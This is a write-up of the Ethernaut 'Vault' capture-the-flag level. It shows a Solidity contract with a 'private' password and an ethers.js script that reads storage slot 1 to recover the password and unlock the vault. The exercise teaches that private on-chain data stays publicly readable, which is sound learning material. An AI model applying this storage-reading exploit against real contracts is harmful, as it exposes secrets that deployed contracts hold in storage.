The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in theEthereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.
This challenge tests the player's knowledge about private data in solidity.
The challenge code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
The goal of this challenge is to set the locked variable to false.
Upon reading through the contract, we can see that we need the password to set the locked variable to false, the only reason why we can do this is because marking a variable as private in solidity does not prevent the data from being accessible publicly, it only prevents other contracts from accessing it.
Solution
const { ethers } = require("ethers");
const abi = require("../artifacts/contracts/Vault.sol/Vault.json");
const provider = ethers.getDefaultProvider(process.env.SEPO_API_KEY_URL);
const signer = new ethers.Wallet(process.env.SEPO_PRIVATE_KEY, provider);
(async () => {
const contract = new ethers.Contract(
"0x7461481126e0755139BEE1Dd15f6571188476Ba2",
abi.abi,
signer
);
const password = await signer.provider.getStorage(
"0x7461481126e0755139BEE1Dd15f6571188476Ba2",
1
);
//console.log(password);
const ctx = await contract.unlock(password);
await ctx.wait();
})();
The solution script
Firstly, we set up the ABI, provider, and signer. The ABI allows interaction with our solution contract, the provider facilitates interaction with the blockchain, and the signer is how the user interacts with the contract.
We used the ethers
library's getStorage
function to access private data. This function requires two parameters: the challenge address and the slot number. Storage slots are locations in Ethereum storage where state variables of a smart contract are stored. Each state variable is assigned a specific slot determined by its position and type in the contract. In our case, the password is stored in Slot 1.
The next step is to call the unlock
function and pass in the password obtained from the getStorage
function.
Conclusion
Thank you for reading; I hope you have gained valuable insights from this explanation.